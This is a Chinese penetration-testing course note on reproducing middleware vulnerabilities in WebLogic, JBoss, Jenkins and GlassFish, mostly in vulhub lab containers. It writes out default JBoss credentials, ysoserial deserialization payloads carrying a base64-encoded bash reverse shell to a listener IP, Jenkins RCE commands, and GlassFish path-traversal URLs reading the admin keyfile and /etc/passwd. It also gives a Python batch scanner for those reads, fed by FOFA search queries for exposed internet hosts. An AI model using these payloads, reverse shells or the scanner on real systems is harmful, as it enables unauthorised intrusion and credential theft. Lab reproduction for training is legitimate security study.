第60天:服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish

目录

思维导图

案例一:中间件-Weblogic-工具探测

[案例二: 中间件-JBoos-工具脚本直接利用](#案例二: 中间件-JBoos-工具脚本直接利用)

弱口令

反序列化命令执行漏洞

CVE-2017-12149

CVE-2017-7504

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

远程命令执行漏洞

案例四:中间件-GlassFish-工具脚本利用


思维导图

案例一:中间件-Weblogic-工具探测

weblogic端口:7001

工具地址: GitHub - ghealer/GUI_Tools: 一个由各种图形化渗透工具组成的工具集

靶场环境

启动利用

输入探测是否有漏洞

有漏洞直接可以命令执行,shell上传

下图所示的都可以用工具一键探测

案例二: 中间件-JBoos-工具脚本直接利用

jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093

弱口令

fofa搜索: "JBoss" && title=="Welcome to JBoss™"

点击welcome to console

账号密码都是admin,admin

可以尝试进入

反序列化命令执行漏洞

CVE-2017-12149

靶场位置: https://vulhub.org/#/environments/jboss/CVE-2017-12149/

启动docker环境

首先先把反弹shell的语句进行base64位编码

复制代码
bash -i >& /dev/tcp/192.168.172.132/5566 0>&1

序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc

复制代码
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

利用poc进行curl请求/invoker/readonly该地址为进行反序列化的地址,同时kali开启监听

复制代码
curl http://192.168.172.169:8080/invoker/readonly --data-binary @poc.ser

运行

CVE-2017-7504

靶场环境:https://vulhub.org/#/environments/jboss/CVE-2017-7504/

与CVE-2017-12149命令都一样只是,反序列化请求的地址不同,可以利用同一个poc

该漏洞请求的地址为 /jbossmq-httpil/HTTPServerILServlet,访问该页面存在证明有漏洞

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

脚本利用地址:GitHub - vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC

该脚本必须使用java"1.8.0_291"才可以正常使用

首先先执行在/tmp下创建一个success文件

复制代码
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

然后用python脚本执行该poc

复制代码
python exploit.py http://192.168.172.169:8080 jenkins_poc.ser

进入docker中查看

这里尝试直接利用下面的语句getshell失败,个人猜测,可能是命令太长,各种符号转义了

复制代码
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.172.132/5566 0>&1"

使用如下命令

复制代码
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

这段命令是一个 Bash 命令,它执行以下步骤:

  1. echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx

    • echo:将字符串打印到标准输出。
    • 字符串:"bash -i > /dev/tcp/192.168.172.132/5566 0>&1",这是一个 Base64 编码的字符串。
  2. base64,-d

    • base64,-d:对上一步中的字符串进行 Base64 解码。
  3. bash,-i

    • bash,-i:使用 -i 选项启动一个交互式 Bash shell。

因此,整个命令的功能是:

  1. 解码 Base64 编码的字符串,得到一个 Bash 命令:bash -i > /dev/tcp/192.168.172.132/5566 0>&1
  2. 执行这个 Bash 命令,该命令将打开一个到远程主机的反向 shell 连接(使用 TCP 端口 5566),并使 shell 的输入和输出重定向到该连接。

运行结果

远程命令执行漏洞

靶场环境: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

脚本地址:https://github.com/smokeintheshell/CVE-2018-1000861

首先利用该脚本可以直接执行系统命令

直接利用反弹shell的语句,还是失败,猜测转义导致

复制代码
bash -i >& /dev/tcp/192.168.172.169/5566 0>&1

利用刚才的语句

python 复制代码
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

成功

案例四:中间件-GlassFish-工具脚本利用

靶场位置

利用语句

复制代码
读取网站账号密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

读取linux passwd:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

读取windows_ini: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

访问靶场主页面,需要账号密码

直接查看账号密码

查看/etc/passwd

下面是一个python开发的自动化检测是否有直接读取密码,读取linux passwd,Windows ini的脚本

python 复制代码
import requests,time

def read_pass(url):
    urls = 'http://'+url+'/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile'
    try:
        result = requests.get(urls,verify=False).text
        #print(result)
        if 'asadmin' in result:
            print('read_pass:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_windows(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_windows:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_linux(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_linux:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)


if __name__ == '__main__':
    for url in open("ips.txt"):
        read_pass(url)
        read_windows(url)
        read_linux(url)

fofa搜索:"glassfish" && port="4848" && protocol="http"

利用fofaviewer保存ip到ips.txt利用

运行结果如图,不方便展示。

相关推荐
Hello.Reader6 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能7 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
小白不想白a7 小时前
消息队列--包括面试常考题/运维监控指标
中间件
金刚猿7 小时前
01_虚拟机中间件部署_root 用户安装 docker 容器,配置非root用户权限
docker·中间件·容器
数据与后端架构提升之路8 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
市场部需要一个软件开发岗位9 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa9 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗
凯子坚持 c9 小时前
CANN-LLM:基于昇腾 CANN 的高性能、全功能 LLM 推理引擎
人工智能·安全
QT.qtqtqtqtqt10 小时前
未授权访问漏洞
网络·安全·web安全
ba_pi13 小时前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全